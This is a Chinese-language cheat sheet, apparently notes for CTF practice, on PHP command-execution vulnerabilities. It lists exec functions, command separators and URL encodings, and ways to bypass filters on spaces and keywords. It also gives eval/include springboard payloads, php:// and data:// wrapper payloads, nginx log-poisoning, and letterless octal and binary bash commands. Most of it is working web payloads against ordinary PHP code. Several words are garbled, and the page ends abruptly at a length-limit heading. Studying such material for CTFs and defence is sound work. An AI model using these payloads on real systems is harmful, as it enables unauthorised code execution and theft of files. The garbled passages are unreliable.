命令执行
PHP命令执行函数
| 函数 | 作用 | eg |
|---|---|---|
system() | 用于在系jj权jj允许jj情况下执行系jj命令(Winws 和 Linux 系统均可执行)。 | system('cat /etc/passwd'); |
exec() | 可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。 | exec('cat /etc/passwd', $result); print_r($result); |
shell_exec() | 执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。 | echo shell_exec('cat /etc/passwd'); |
passthru() | 执行系统命令并将执行结果输出到页面中,支持二进制数据。 | passthru('cat /etc/passwd'); |
popen() | 执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。 | $result = popen('cat /etc/passwd', 'r'); echo fread($result, 100); |
反引号 | 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。 | echo \cat /etc/passwd; |
使用分隔进行双写绕过:
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
==%26a &的url编码==
==%0a 换行符的url 编码==
注意:#在URL中是特殊字符,要把 # 通过 GET 请求传输, 需要进行URL编码:# -> %23
?c=tac flag.php;ls
system()
passthru()
`` 也可以视为命令执行
cat,sort可以用tail,tac,nl等代替
空格,可以使用%09、$IFS$9、${IFS}代替
过滤的flag,php,点,可以用通配符*或?代替.
嵌套函数(使用跳板)(逃逸)
c=eval($_GET[a]);&a=system('cat flag.php');文件包含
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php 其中%0a为换行符,而?>替代了;
c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php伪协议
?c=data://text/plain,<?php system("tac fla*");?>短标签
/?c=data://text/plain,<?= system("tac fla*");?>php中不需要括号的函数
echo 123; print 123; die; include "/etc/passwd"; require "/etc/passwd"; include_once "/etc/passwd"; require_once "etc/passwd";日志注入
?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.logBash特性
基于Bash的无字母命令执行
原理:bash能解析八进制状态的字母
成熟脚本:https://probiusofficial.github.io/bashFuck/
使用 echo $0 的方式获取当前运行的脚本名称即可查看自己的终端类型:
root@Hello-CTF:echo $0bash # bash / dash如果直接与容器交互大概率能得到一个bash的结果,但是当我们使用system函数时,这其实会由sh去执行,所以如果我们使用system去执行上述命令,大概率会得到:
# echo $0sh 但其实 sh 也是外包,通常它只是一个软连接,并不是真的有一个shell叫sh,要查看它最终的定向,我们可以使用 ls -l /bin/sh 使用 -l 参数列出:
root@Hello-CTF:ls -l /bin/shlrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox如ls 可以通过$‘\154\163’ 的方式进行执行。
root@Hello-CTF:/home# $'\154\163'Challenge Hello-CTF_labs PHPSerialize-labs PHPinclude-labs RCE-labs但去dash中执行,会发现dash是无法解析他们的:
# $'\154\163'dash: 1: $\154\163: not found若 sh 的软连接指向 dash,那么用system函数也类似:
# $'\154\163'sh: 1: $\154\163: not found但是这种方法的缺陷就是无法一连串的指向带参命令,只能拆分开来:
bash-5.1# $'\143\141\164\40\57\146\154\141\147'bash: cat /flag: No such file or directory
bash-5.1# $'\143\141\164' $'\57\146\154\141\147'flag{TEST_Dynamic_FLAG}在bash中,支持二进制的表示整数的形式:$((2#binary))。
通过这一特性,我们可以使用二进制来构造八进制的整数形式 —— 注意这里并不是讲八进制转换为二进制,这里其实是用二进制来替换八进制中的每一位数字
• 比如
$((2#10011010)) -> 154-
拆分开来分析一下
-
• 首先是
$((...))-
• 在
bash 中$((...)) 是 算术扩展(Arithmetic Expansion) 的语法 -
• 比如
echo $((3 + 5)) # 输出 8echo $((10 / 2)) # 输出 5a=10b=5echo $((a + b)) # 输出 15
-
-
• 而
2#binary 是 进制表示法(Base Notation) , 表示把后面的二进制串, 转化为十进制- • 同理
# 前面的2 也可以是8,16,36, 如下
echo $((8#72)) # 输出 58echo $((16#1A)) # 输出 26echo $((36#Z)) # 输出 35 - • 同理
-
长度限制
部分信息可能已经过时









